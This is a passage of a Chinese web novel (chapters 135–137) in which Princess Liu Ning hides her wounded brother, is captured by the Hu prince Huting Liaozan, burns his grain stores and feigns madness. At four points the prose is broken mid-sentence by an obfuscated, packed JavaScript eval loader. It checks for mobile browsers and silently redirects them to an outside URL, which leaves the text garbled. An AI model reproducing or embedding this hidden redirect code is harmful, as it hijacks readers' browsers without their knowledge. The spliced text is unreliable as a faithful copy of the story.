刘宁一滞,还是答应下来:“好。” “太好啦!”萨丽娜尔笑眼弯弯,蹦蹦跳跳地转了个圈,身上各色宝石珠串碰撞,叮当作响,“我这就回去!你等着我!” “哦,对了!屋里有水,记得喂他喝水,炉子上还有烤肉。” “还有哦——”萨丽娜尔将自己裹得严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274331|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严实实,火急火燎出了门,没一会儿又折返回来:“你的马儿很饿,我会帮你喂马的!” “多谢!”刘宁郑重抱拳。 萨丽娜尔驻足,扯下脸上的面罩,冲着刘宁笑着,脸上不知何时飞出一抹红。 “你长得真好看。”撂下这句话后,萨丽娜尔扭头就走。 刘宁被萨丽娜尔这一句弄得摸不着头脑,不过她现在一门心思全在刘昶身上,也没心思想别的。 “汪汪——汪汪——”犬吠声渐远,除了火炉里噼里啪啦的火花炸裂声外,周围一片寂静。 刘宁坐在床边地上,垫着下巴,脸贴着刘昶的额头,望着烧得正旺的火炉发呆。 直至烤肉的油滴滴答答落在火上,烤肉的香味弥漫整间屋子,肚子咕噜叫了一声,刘宁才回过神来。 刘宁扯下一块烤肉在嘴里嚼着,而后又取来火炉上加热的水,小心翼翼吹了吹,将满满一勺水凑到刘昶嘴边。 刘昶嘴唇紧闭。 刘宁从小被承道帝与贵妃娇生惯养,身边一大群仆从侍奉,哪里做过这些照顾人的活计,不出意料,一勺温水全顺着刘昶嘴边流到脖子处。 刘宁忙拿衣袖擦拭,盯着刘昶干涸起皮的嘴唇看了几眼,当即托起刘昶脑袋放在自己肩膀上,一手捏得刘昶的嘴开启一条缝,一手端起水碗凑到刘昶嘴边。 一碗温水,洒了大半,但好歹是进了些。 放刘昶躺平后,刘宁累得长叹一口气,心里祈求萨丽娜尔能快点回来,她好快点带刘昶回大江医治。 “哒哒哒哒——” “哒哒——” 等来的不是“汪汪”的声音,而是一阵急停的马蹄声。 不是萨丽娜尔! 刘宁神情瞬间紧绷,脑中设想了一万种场景,欺骗、背叛…… 刘宁来不及再细想这一路的蹊跷,慌忙脱下身上的盔甲,换上木屋里萨丽娜尔余留的胡人服饰,又取来墙上挂着的兽皮将刘昶遮盖住,也顾不得烫手,在锅边随手抹了把灰涂在刘昶脸上。 “嘭——”木屋门被踹开,刘宁不动声色将手缩回袖中。 呼廷聊赞弯腰挤进小木屋。高大的身躯使得小屋氛围格外压抑。 呼廷聊赞草草环视一周,嘴里叽里咕噜说了句胡语。 (“若是看到我的鹰,报给我。”) 见刘宁一点反应都没有,当即眉头压低,走近刘宁。 刘宁一句也没听懂,支吾两声,垂下眼睛,默不作声点点头。 忽然,呼廷聊赞注意到刘宁的发髻,是江朝的发髻,不由得杀心起,用江朝的语言试探道:“若是见着江朝的人,报给我,重赏。” 刘宁顿时僵直身子,脸色煞白。 面前这人高大,她未必能制伏,即便是制伏得了面前这人,外面还有一队人马,她的胜算微乎其微。 “愣着干什么?没听到我的话吗?”呼廷聊赞语气更冷。 “抬起头来。”呼廷聊赞命令道。 刘宁依旧低着头,一动也不动。虽说萨丽娜尔的部落亲近大江,会说大江话,可若是她一开口,必能听出差异。 兀地,一双如铁钳般的手扼住刘宁下巴,强行将刘宁的脸掰上来。 当看清刘宁的脸时,呼廷聊赞瞬间瞪大了眼睛,神情瞬变,脑子里不由自主地浮出一个名字: 刘茂! 135. 御下(十)身份之迷 面前这人竟和刘茂长着一模一样的脸! 呼廷聊赞死死盯着这张和刘茂一模一样的脸,喉咙不由得一紧。 可刘茂不是早就死了吗?刘茂和还朝一起死在了几年前的秦王府。 那面前这人是谁? 呼廷聊赞上上下下、左左右右将刘宁的脸扫了一遍又一遍,企图从刘宁这张与刘茂极为相似的脸上,发现面前此人并不是刘茂的破绽。 刘宁的下巴快被面前这胡人捏得快要碎掉了,且这人一直盯着自己久未言语,让她心里多少有些发毛。 他在想什么看什么? 他是不是发现了什么? 他到底是不是萨丽娜尔引来的? 刘宁眼珠微动,开始回想见到萨丽娜尔之后发生的一切。 如果是萨丽娜尔出卖了她,那萨丽娜尔没道理一直留着七弟。 且自从这胡人踹门进屋以来,说的第一句是胡语,说明面前这胡人并不知道她不是胡人。 可从他说出大江话试探他时,他就发现了她的破绽,可她到底是哪里露出的破绽呢? 沉默,在两人之间蔓延。 不由自主的,刘宁的眼神飘向被兽皮遮盖的刘昶。 顺着刘宁的眼神,呼廷聊赞看向床上,胡乱堆放的灰褐色兽皮占满了。 兽皮下还露出半根惨白的手指。 再仔细一看,还有一缕黑发混在兽皮灰褐色的皮毛之中。 呼廷聊赞瞳孔微缩,手上不觉又添了一份力气。 刘宁忍着痛,依旧一声不吭,目光落在呼廷聊赞腰间那把嵌满宝石的弯刀上,静待时机。 “你是哑巴吗?”呼廷聊赞收回眼神,眼珠转向刘宁,不太流利的话从嘴里说出来,打破了这略带尴尬的氛围。 刘宁眼皮翕动,顺着呼廷聊赞递过来的台阶,很快做出一副茫然的样子,嘴里含糊地“呃”了一声。 呼廷聊赞了然一笑,松了手,撤回一步。 凭他对刘茂的了解,若是今日刘茂再见到他,只怕恨不得能将他剔了他的骨头,断然不会摆出这副茫然无知的样子。 这样一来,他知道这人是谁了。 能和刘茂有着一张脸,除了他那同为祥瑞的龙凤胎妹妹,恐怕天底下再没别人了。 呼廷聊赞眼神不由自主地又瞟向刘宁,脸上笑意更盛,真是有趣,他们兄妹二人长得是真像啊! 只是……怎么没听说过这位大江的公主也上了战场呢? 呼廷聊赞的眼神逐渐变成探究。 刘宁对呼廷聊赞的转变摸不着头脑,猜不透他到底想怎样,只能继续装聋作哑,眼睛时刻注意着呼廷聊赞,脚慢慢挪到床边。 她的剑就在刘昶旁边。 虽说屋子狭小,使剑未必得利,但总好过坐以待毙。 一胡人小心翼翼跑来,止步于屋门口,极恭敬地用胡语道:“王子,有发现。” 呼廷聊赞收起脸上的表情,扭头看了眼门口,用汉语道:“我这就来。” 转而又笑着看向刘宁,语气和缓道:“若是你见着大江人,将人带来军营见我,重赏!” 说罢,呼廷聊赞弯腰走了出去,还顺手关上了门。 “嘎吱——”门晃晃悠悠合上,刘宁撑不住,双脚有些发软,跪坐在地上。 外面还有动静,胡人还没离开,刘宁摸来藏在床上的长剑,紧紧抱着,唯有剑在手,才能让她有些安全感。 虽不知胡人为何放过她,但这里不能再待下去了,她要赶快带着七弟离开这里。 只是……刘宁担忧地看向刘昶,手不由自主地抚上刘昶的脸庞,只是不知七弟能否撑得到回去。 刘宁一手攥着剑鞘,一手握着剑柄,蹑手蹑脚走到门口,听着屋外的动静。 呼廷聊赞接过下属捡到的圆环,在手里转了一圈,摸到了环上面刻的文字,牙齿咬紧一分,又高举到眼睛近前细看。 圆环的文字凹缝里还残留着点干涸的血迹,暗红色的。 敢杀他的鹰!找死! 呼廷聊赞的牙齿又咬紧一分,手上也添了力气,坚硬的圆环生生被捏得变了形。 “王子,她怎么办?”呼廷聊赞的下属提着萨丽娜尔的头发,问道。“还有一口气。” 萨丽娜尔被绳子拴着手,一只眼睛半闭着,露着眼白,整个人只有出气而无进气。 下属又指向一旁的牲畜,十余只早就断气的狗子,还有那匹栓在木屋旁有些发狂的马儿。 呼廷聊赞投过去眼神,手里依旧捏着那枚圆环。 也真该感谢她,若不是她,自己又怎能找到刘茂的龙凤胎妹妹呢? 呼廷聊赞呼出一口气,吹了吹飘到眼前的雪花,道:“那两只鹰不是还饿着吗?” 丢下这句话,呼廷聊赞便径直走向拴着的马儿,与马儿对视一眼,大胆地抬手摸上马儿的鬃毛。 方才还狂躁的马儿异常乖巧,亲昵地蹭着呼廷聊赞的手心,呼廷聊赞会心一笑。 这匹马是万里挑一的好马。 想当初他与刘茂同时看上了这匹马,甚至大打出手。他俩素来便恨不得能打死对方,因而都下了死手。 岂料还朝从中横插一手,向他父汗讨了这匹马,之后又带着它与刘茂去了大江。 没想到今日竟在这里见到了,到底是有缘。 呼廷聊赞为马儿梳好鬃毛,又轻轻拍了拍马儿,但并未带走,转头跨上自己的马,下令道:“回营!” 胡人齐刷刷上马。 呼廷聊赞坐在马上,拉着缰绳,原地转了个圈,注视着那间小木屋,脸上笑意不断。 真是有趣,有趣,有趣! 听着马蹄声渐远,屋外又重归寂静,刘宁的耳朵紧贴在门上,又仔细听了会儿,确定胡人都离开后,才敢打开房门探查。 刘宁总觉得方才那群胡人走的时候,有一阵似有似无的叮当声,就像是萨丽娜尔身上那一串宝石碰撞发出的声响,夹杂在马蹄声中。 木屋外,一地泥泞的灰雪,一个散了架的木排,十分狼藉。还有一道长长的、带血的拖痕,在木屋前拐了个弯。 马儿看见刘宁,嘶鸣一声。 刘宁忙跑过去看马儿,马儿好的很,就连鬃毛,也被梳理得很整齐。 刘宁撇下马儿,沿着血迹,顶着纷纷扬扬落下的雪花,小跑着追上去。 刘宁嘴里哈出的热气,在睫毛上结成了霜。 也没跑去多远,血迹淡了,马蹄印也淡了,就连木屋前的那片灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274332|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的泞雪,也在新飘落的雪花覆盖下,变成了白色,洁净的白色。 什么都没有了,也什么都看不到了。 只有手里攥的一撮狗毛、一把被踩碎的珠子,还有一根缺了珠子的项链。 刘宁双眼无神,拖着没有知觉的双腿,踏着又落下的白雪,一步一步,一步一步挪回木屋。 摊开手,血红色的项链绳子尤为刺眼。 碎珠子锋利,有不少细碎的颗粒还嵌在了手心的肉里,她现在已经感觉不到疼了。 萨丽娜尔没有骗她。 刘宁吸了吸鼻子,依靠在床边,怔怔地望着火炉里熊熊燃烧的火苗。 火苗犹如一条条张扬的舌头,舔舐着架子上的烤肉。 虽说不知道萨丽娜尔的小妹妹是谁,但或许,她唯一能做的,就是将这条项链带回大江。 这里已经被胡人发现了,她总觉得自己在胡人面前已经暴露了身份,可不知为什么,胡人并未拆穿她。 虽说如此,可此地已不宜久留,得早点回到大江才是。 想到这儿,刘宁抬起胳膊,用衣袖胡乱擦了擦眼角的泪,取来自己的手帕,包好碎珠子和项链,贴身放好项链,又从身上扯下一长条布,简单绕着掌心缠了几圈。 刘宁握了握拳,手上的伤口的痛还可以忍受,当即站起身,出门将散了架的木排捆扎好,虽说看着随时会散架,但这也是没办法的办法。 刘宁起身进屋,将昏迷的刘昶用一层又一层厚实的兽皮包裹严实,连拖带拽,甚是艰难地将刘昶转移到木排上。 刘宁早已累得站不起来了,可她深知,她不能倒下,她还要带七弟回家,她还要把萨丽娜尔小妹妹的项链带回大江。 总算,一切都准备妥当。 刘宁亲昵地摸了摸马儿,近乎祈求道:“你知道回去的路,对吗?” “带我回家,好吗?” 马儿背着落日,载着刘宁与刘昶姐弟二人,在茫茫雪地里,一路狂奔。 刘宁护着刘昶,生怕路上的颠簸会把他甩下去。 落日一点点变小,也愈发的红,直至—— 被一团黑影遮住,黑影时高时远,时小时大。 刘宁定睛一看,竟是一头鹰。 又来? 刘宁当即张弓搭箭,不待她瞄准,鹰便变成一个黑点,消失在了天边。 鹰不见了,刘宁慢慢卸下弓弦上的力。 又被马儿载着不知跑了多远,刘宁眼皮有一搭没一搭地眨着,身边竟不知何时多了一匹并肩齐驱的马。 刘宁猛然睁大眼,死死盯着马上的男子。 男子身形高大,梳着江朝男儿的发髻,可脚上的靴子,却不是江朝的形制。 “你是谁?”刘宁大声质问。 男子尽是扭头看了刘宁一眼,并未回答。 不一会儿,鹰又出现在空中,但并不似先前那般带着攻击的意思。 鹰越来越近,刘宁握弓的手也越来越紧。 男子抬起手臂,鹰落下,在男子手臂上站稳,收起翅膀。 男子瞥了眼刘宁。 刘宁突然记起,萨丽娜尔曾说过,这是他们王子呼廷聊赞的鹰,那面前这人就是—— 呼廷聊赞! 136. 御下(十一)假意周旋 刘宁并不知呼廷聊赞打的什么主意,反正只要她加快速度,呼廷聊赞便也加速,她减速慢下来,呼廷聊赞便也跟着减速,甩也甩不开。 刘宁心里不免泛起嘀咕,若是呼廷聊赞要抓住她与七弟,直接派兵前来便可, 虽未曾见到胡人的军队前来,但刘宁并不敢放松警惕。 忽的,呼廷聊赞调转方向,拦住刘宁的马。 急停之下,刘宁险些被甩飞。 刘宁带着怒气,走下木排,径直走到呼廷聊赞马前,也不绕弯子,问道:“你是谁?” 呼廷聊赞收住缰绳,跳下马,道:“我是住在这一片的猎户,我的鹰发现了你们,我便过来了。” 听到呼廷聊赞谎称自己是猎户,刘宁面无表情地冷哼一声,她倒想看看呼廷聊赞在耍什么花招。 呼廷聊赞道:“前面不能再走了!再往前走就到大江的地界了。” 大江? 闻言,刘宁眉头一挑,朝前望去。 白茫茫一片,罕无人烟,什么也看不到,刘宁也分辨不出还要走多远才能到大江。 说着,呼廷聊赞一把扯下覆面,靠在马腹,笑着歪头看向刘宁,肩上的鹰也歪头看向刘宁。 刘宁眼睛睁圆,这脸,她似乎见过。 方才闯入木屋的那胡人,似乎是这样的一张脸。 都是深邃的眼窝,高耸的鼻梁,都是胡人的长相,但又总感觉……有哪里不一样。 为着这几分的不确定,刘宁眉头压紧,眼珠上下转动,再度仔细地打量起呼廷聊赞。 面前这人的身形看着并不似方才那个胡人那般宽厚,头发也只是随意拢在一起,窝在肩颈处,不像胡人那样扎满一头的小辫子。 呼廷聊赞一挑眉,对上刘宁的眼睛,眼中颇有些挑衅的意味:“怎么?我的长相有问题?” 刘宁呵笑一声,后退一步,看似漫不经心道:“看着眼熟。” 呼廷聊赞笑笑,紧盯着刘宁那张脸:“我看着你也有几分面熟,总觉得像一位故人。” 一时间,呼廷聊赞竟有些恍惚,不过半日未见,刘茂的妹妹,竟越看越像刘茂了,尤其是看他的眼神,淬了毒一样。 刘宁冷眼看着呼廷聊赞,心中一顿冷笑,她刚见着萨丽娜尔的时候,萨丽娜尔也是这么说。 胡人怎么都是一样的说辞?看见个大江的子民,就都觉得是所有人都长着同一张脸吗? 就宛她看到胡人一样,除了能区别身形上的高矮胖瘦以外,竟都觉得她们长得都一样! 呼廷聊赞低头一笑,避开刘宁的眼神,目光落在刘宁身后的木排上。 呼廷聊赞偏头瞥了眼,注意到了木排上还有个包裹严实的人。 想到木屋床上漏出的那几根手指,又扫了眼刘宁的装扮,看样子,他们是要逃走呢。 值得她冒这么大的险前来,值得她冒雪也要将这人带回大江,想来这人便是他苦苦寻找的大江定北王刘昶吧。 呼廷聊赞绕过刘宁,径直走向被裹得严严实实密不透风的刘昶。 刘宁抬手阻拦,横跨一步挡在呼廷聊赞身前:“你做什么?” “即便是看着眼熟,你也无权动我的东西吧?” “看你的装扮,你是大江人吧?”呼廷聊赞脚步一停,抬手弹了下刘宁的发髻,轻笑一声。 “那你可得躲好了,别被其他人发现了。” “毕竟,像我这么好心的人可不多了。” 刘宁脸色一变,千算万算,竟忘了头上盘着的发髻! 呼廷聊赞一手按住刘宁的胳膊,强行掀开盖在刘昶脸上的遮挡,确是刘昶。 “他受伤了?”看着刘昶苍白的脸色,呼廷聊赞皱眉问道。 “与你何干?”刘宁捏起拳头,一拳垂在呼廷聊赞胳膊上。 呼廷聊赞吃痛,按着刘宁胳膊的手又加重了些力道,就连肩头蹲着的鹰,也朝刘宁面门啄去。 刘宁飞快撒手,后撤一步,抽出木排上放着的长剑,摆好架势,与呼廷聊赞并他的鹰对峙。 呼廷聊赞笑道:“一言不合就动手?火气别那么大啊!” 刘宁依旧警惕地看着呼廷聊赞,生怕再拖下去,他的援军赶来,那便是羊入虎口。 “哼,罢了罢了,我实在没必要与你计较。”刘宁收起剑,不再理会呼廷聊赞,掏出为马儿准备的草料,自顾自地喂起马来。 呼廷聊赞眼珠一转,上前两三步,走到刘宁近前,抢过刘宁手中的草料,一边喂马一边道:“看样子他伤得不轻,若是再不医治,只怕无力回天啊!” 在呼廷聊赞看来,活着的大江皇室,远比死了的要有用。 刘宁眼也不抬,又将草料夺嘞回来,专注喂马:“这就不劳烦你费心了。” “不过话说,你们大江人,是怎么到我们的地盘上了?”呼廷聊赞笑嘻嘻问道,”要知道,前线可正打仗呢。” “莫非……你们是逃兵?”呼廷聊赞调侃道。 “那你呢?两军交战之际,你不在军营为国效力,却在此清闲,莫非你也是逃兵?”刘宁当仁不让。 呼廷聊赞一时有些语塞。他才随口编了个猎户的身份,其余的还未曾想好说辞呢。 呼廷聊赞讪讪笑道:“说笑罢了。” 呼廷聊赞又围着刘宁转了一圈,见刘宁不再理会,便道:“不如跟着我,回我的部落,我找来巫医为他医治?” 刘宁来来回回扫了呼廷聊赞两眼,哼笑一声:“你当我傻吗?去了你的部落,你们人多势众,谁知是医治呢?还是将我们捆了去领赏啊?” 呼廷聊赞意味深长笑道:“我若是想拿你们去领赏,何须等到现在?” 刘宁细想一下,也是。 更要紧的是,七弟至今昏迷,脸色也愈发的苍白,一天也拖不得。 刘宁眼珠一转,笑道:“那便有劳了。” 呼廷聊赞搓搓手,尬笑两声。他没想到竟会这般顺利,以为还要再周旋一阵。 “跟着我走吧。”呼廷聊赞调转马头,横跨上马,末了,还意味深长地看了刘宁一眼。 呼廷聊赞以为,刘茂与刘宁一母同胞,想来性情是一样的,一样的狡诈多谋。 原以为会是个有趣的对手。 没想到,他刘茂的同胞妹妹竟这般天真好骗,真是高看了她。 望着越来越远的大江边境,刘宁暗暗为自己捏了一把汗。 但愿,但愿七弟能早点醒来。 直至茫茫的大地染上一层暗色,直至马儿筋疲力尽不再狂奔,总算是到了呼廷聊赞的部落。 “到了。”呼廷聊赞走上前来,笑道:“路途遥远,路上又多颠簸,可还好?” 路途遥远?刘宁忍不住腹诽,若是少绕几圈的话,只怕能到得更快一点呢。 刘宁难得给出一个笑脸:“多谢多谢,若是能早日请到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274333|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫医医治的话,只怕会更好呢。” 天色很暗,火把稀稀拉拉地亮着晃动的光,看不清全貌。 呼廷聊赞将刘宁、刘昶姐弟二人安顿在最近的一处营帐内,道:“如你所愿,我这就去请巫医。” 目送着呼廷聊赞离开,刘宁忙去查看刘昶的状态,虽说身上凉了些,可还有微弱的鼻息,胸腔内也还有羸弱的跳动。 刘宁整个人松懈下来,瘫坐在地上,怔怔地望着刘昶苍白的脸。 她不知道自己这一步是否太过冒险,将自己与七弟都暴露在呼廷聊赞眼中。 巫医很快就过来,五六个巫医将刘昶围了个圈,七嘴八舌地讨论着。 刘宁一句也听不懂,但看得出他们一个个面色凝重,眉头紧锁,看来情况并不妙。 跟来的呼廷聊赞眉头也跟着皱起来,若是刘昶没了,他的谋划也将落空。 呼廷聊赞压着脾气,用着刘宁听不懂的胡语,冷脸道:”不论你们使什么法子,一定要救活他,要不然你们就同他一起死。“ 巫医们顿时变得战战兢兢。 刘宁察觉到营帐内气氛有些紧张,小心翼翼出言问道:”巫医们说了什么?他还有救吗?” 呼廷聊赞瞥了刘宁一眼,点点头:“能救。” 巫医会诊完,便退下抓药。 刘宁本还想再问些细节,谁料一个身披江朝甲胄的士兵走进来,凑到呼廷聊赞耳边低语几句。 虽说穿着江朝的甲胄,可头盔下却是一张胡人的脸。 刘宁心中不免一紧,但怕呼廷聊赞发现异样,只得端起碗温水,坐在床边,仔细地喂给刘昶。 两人声音很低,又是刘宁听不懂的胡语,饶是刘宁再怎么竖起耳朵一丝不苟地听,也听不明白一个字。 呼廷聊赞听过后,特意瞥了刘宁一眼,见刘宁正全神贯注地照料着刘昶,松了口气,跟着士兵退出了营帐。 不多时,营帐外便传来一阵窸窸窣窣的盔甲碰撞声音,刘宁心中的不安愈发强烈。 呼廷聊赞到底在策划什么? 营帐内炭火烧得愈发旺盛,刘昶的手却愈发的凉。 刘宁坐不住,当即背上弓箭,在营帐门口静静听了会儿,待外头安静后,方才掀起一条窄窄的缝隙。 火把少了些。 一片寂静。 静得有些反常,静得能听到自己的心跳。 既如此,那便添点儿乱吧。 刘宁取来箭,扯下布条裹在肩头上,沾了些火苗,掀起营帐前厚重的门帘,挽弓搭箭,瞄向暗处。 箭头上的火苗肆虐,只听得“嗖”一声,火光在暗中穿行,照亮了一片片的盔甲,最终落下。 刘宁并不知道那支带火的箭最终会落在何处,箭离弦后便退回营帐内,将弓箭放回刘昶身下藏好。 没一会儿的功夫,火势蔓延,外面顿时变得乱哄哄的。 过了好一会儿,外面的乱才止住。 呼廷聊赞黑着张脸,气呼呼地迈步进来。 刘宁强压着快从喉咙里跳出来的一颗心,故作淡定,故作好奇,问道:“怎么了?可是……” 说到此处,刘宁作出一副忧心的样子,捂着胸口不可置信道:“可是他……情况不妙?” 呼廷聊赞见刘宁对外面的事一无所知,很是不甘地叹了口气,咬着牙道:“不知哪儿来的火,落在营帐上,烧了一大半攒着过冬的粮草。” 137. 御下(十二)伺机而动 “啊?”刘宁挑眉,故作惊讶态,眼睛滴溜溜地转悠。 虽不知呼廷聊赞打的什么目的,可如今没了粮草,看他该当如何。 呼廷聊赞的眼神落在刘宁身上,上下打量一番,眼睛逐渐眯起。 刘宁回过神,瞥向呼廷聊赞,发现呼廷聊赞正盯着自己看,忙避开交织的眼神。 再抬眼,呼廷聊赞仍盯着她。 那是一种看猎物的眼神,一种志在必得的神态。 刘宁被呼廷聊赞看得浑身不自在,不得不岔开话题,假意周旋:“你干嘛这么看着我?可是他情况不妙?” 因见呼廷聊赞不语,再追问道:“他情况到底怎么样?你就实话告诉我吧!” 呼廷聊赞甚是轻蔑地嗤笑一声,回道:“你放心。” 正说着,巫医们带来了一碗黑乎乎、飘着浓烈恶臭的药汤进来。 刘宁忍不住干呕两声,嫌恶地捂住鼻子,挡在刘昶面前:“这是什么?” 巫医们七嘴八舌地说着,可刘宁一句也听不懂,但仍执意挡在刘昶面前。 呼廷聊赞皱着鼻子,一手挡在鼻孔处,上前解释道:“这是回魂药,特地为他熬的。” 刘宁有些迟疑。 呼廷聊赞道:“放心吧,有我在,你们两个绝对不会出事的。” 刘宁还是有些迟疑,但动作已不似方才那般反抗激烈,胳膊慢慢挪开位置,由着巫医们将药灌进去。 巫医们退下,可药汤的臭味布满整间营帐,呼廷聊赞待不下去,便道:“且安心在这里待着,不要乱跑。” “跑了也没关系,我的鹰会找到你们的。”呼廷聊赞又很是得意地撂下一句,话还没说完,便觉胃里翻涌,转身大步流星出了营帐。 营帐内又重归寂静,静得能听到炭火噼里啪啦燃烧的声音。 刘宁看向刘昶,不知是不是自己时常想着,竟觉得刘昶的脸色没有那么苍白了。 可刘昶的手依旧冰凉。 刘宁叹了口气,眼下唯有借呼廷聊赞的手救回七弟了。 连着数了四五次的日升日落,刘昶的脸色日渐红润,手心也有了些许温度,可人却不见醒。 虽说刘宁遵照呼廷聊赞的意思,乖乖待在营帐中,可外头的动静越来越大,刘宁能明显地听出来外头积聚的胡人越来越多。 呼廷聊赞的援军来了。 这可不是个好兆头。 就连刘宁所在营帐的外头,都添了不少士兵看守,呼廷聊赞还美名其曰是看护。 刘宁能明显得感觉到,事态正在严重。 甚至有次夜里,还隐约听到了大江冲锋的号角。 可碍于看守人数众多,刘宁一时间也难逃出去,更何况还要带上昏迷不醒的刘昶,更是难。 刘宁不免有些慌神,急得团团转。 刘宁回头看向至今昏迷不醒的刘昶,不由得握紧刘昶的手,低声祈求: “七弟,快快醒来吧,我们好早点回家。” 两行清泪顺着刘昶的手背,流向手腕内侧。 “他还没醒吗?”呼廷聊赞掀起门帘,大步流星走进来。 刘宁别过脸,在肩膀上蹭干眼泪,吸了吸鼻子,道:“还没有。” 刘宁叹了一声,站起身,背对着呼廷聊赞,一边擦着脸上的泪痕,一边道:“看来你们部落的巫医医术不精,每日那令人作呕的还魂药灌下去,怎么就不见好呢?” 呼廷聊赞“啧”了一声,同样很是担忧,伸手向刘昶鼻尖探去。 刘宁余光瞥见,眼疾手快拦住,厉声道:“你做什么?” 呼廷聊赞收回手指,攒成拳:“有鼻息,还有得救,再等几日吧。” “对了,今晚部落迁徙,你且安心在营帐内等着,别乱跑。”呼廷聊赞叮嘱道。 “那……我们什么时候才能回家?”刘宁试探着问道。 回家?呼廷聊赞嗤笑一声,转头看向刘宁,嘴角向下撇,眼里含笑,轻蔑道:“把这里当成你们的家,不好吗?” “我会照顾好你们的。” 呼廷聊赞多看了刘宁一眼,才刚站起身,属下便赶来汇报,说的依旧是刘宁听不懂的胡语。 呼廷聊赞知道刘宁听不懂,因而当着刘宁的面并未有什么顾忌。 呼廷聊赞活动了下脖子,脸上挂着志在必得的笑意,冲属下发号施令。 末了,又扭头看向刘宁。 “当然,前提是你们不要乱跑。”撂下这句话后,呼廷聊赞没过多停留,起身便走。 刘宁还想追上去,突然,手被人紧紧拉住。 刘宁一滞,回头看去,竟是七弟刘昶伸出的手。 “七弟!”刘宁惊喜过望,扑在刘昶身上,一时激动,喊了一声。 这一声,引来了在外的呼廷聊赞。 刘昶的眼睛睁开,余光瞥见呼廷聊赞的身躯在靠近,很快又合上,手上也渐渐没了力气。 “他醒了?”呼廷聊赞探着头问道。 察觉到呼廷聊赞去而复返,刘宁状若疯癫:“他醒了?” “哈哈哈哈——他醒了啊!” “他醒了!哈哈哈哈!”刘宁又哭又笑道:“每日那般难以下咽的药入口,怎么会不醒呢?” “哈哈哈哈!他醒了,他醒了,他终于醒了!”刘宁紧紧攥呼廷聊赞的垂在胸口的头发,大哭大喊道。 呼廷聊赞从刘宁手中夺过自己的头发,嫌恶地将刘宁一把推开。 刘宁摔倒在炭火旁,火星崩到衣服上,衣服被燎出一个洞,刘宁竟像没有感觉一样,呆呆地趴在地上。 呼廷聊赞拳头攥紧,眼中怒火烧得旺盛。 他怎么也没料到,刘宁竟然会日思成疾突然疯癫。 大江的两个皇室落在他手里,一个昏迷不醒,一个疯疯癫癫,就像两个烫手的山芋,他还拿什么去和大江谈判? 如今叔父布拉古的援军也赶来了,若他不能尽快挑起布拉古与大江之间的矛盾,那他夹在中间,就彻底败了。 呼廷聊赞的眼神逐渐转向狠厉,慢慢走近刘宁,撩起衣袍蹲下,手却温柔地摸向刘宁的脑袋,为刘宁抚顺凌乱的发丝,语气里听不出任何情绪:“你乖乖的,他就会醒。” 对着刘宁这张与刘茂极为相似的脸,呼廷聊赞一时间竟有些恍惚,就好像刘茂被他踩在脚下,被他揍得鼻青脸肿却依旧不服。 “好,乖乖的,乖乖的。”刘宁木讷地重复着这句话。 呼廷聊赞的思绪从几年前的恍惚中被拉回,再对上刘宁这双无措的眼睛,他的眼底竟生出一丝厌恶,还有一点怜悯。 呼廷聊赞拍拍手,站起身:“虽说你们长得一模一样,可到底不是一个人,脾气秉性相差甚大。” 刘宁眼底微动。 一模一样?是哥哥吗?他说的是哥哥吗?他认得哥哥? “他怎么会有你这样的手足?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274334|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >呼廷聊赞突然放声大笑:“也不过如此!到底是高看你们,高看他了。” 刘宁依旧可怜兮兮地趴在地上,任由火星将衣服又燎出三五个洞。 直至呼廷聊赞走远,直至营帐内重归一片寂静,刘宁才坐起身,慌忙拍掉身上落的火星。若是再晚一些,只怕就烧到肉了。 “阿宁演得越来越真了。”刘昶的声音冷不丁响起,还带了些揶揄:“我竟也为阿宁捏一把汗呢。” 刘宁不可置信地回头。 刘昶不知何时坐起身来,正望着刘宁笑。 眼见着刘宁又要惊得大叫,刘昶连忙“嘘”、“嘘”数声,这才稳住刘宁。 刘宁踉跄拥上去,凑到近前,又是拉起刘昶的手上下打量,又是抚摸着刘昶的脸上下摸索。 因顾忌被营帐外的胡人听见,刘宁低声问道:“你什么时候醒的?” “你都不知道我有多担心、多害怕……”刘宁压抑着自己的情绪,低声啜泣。 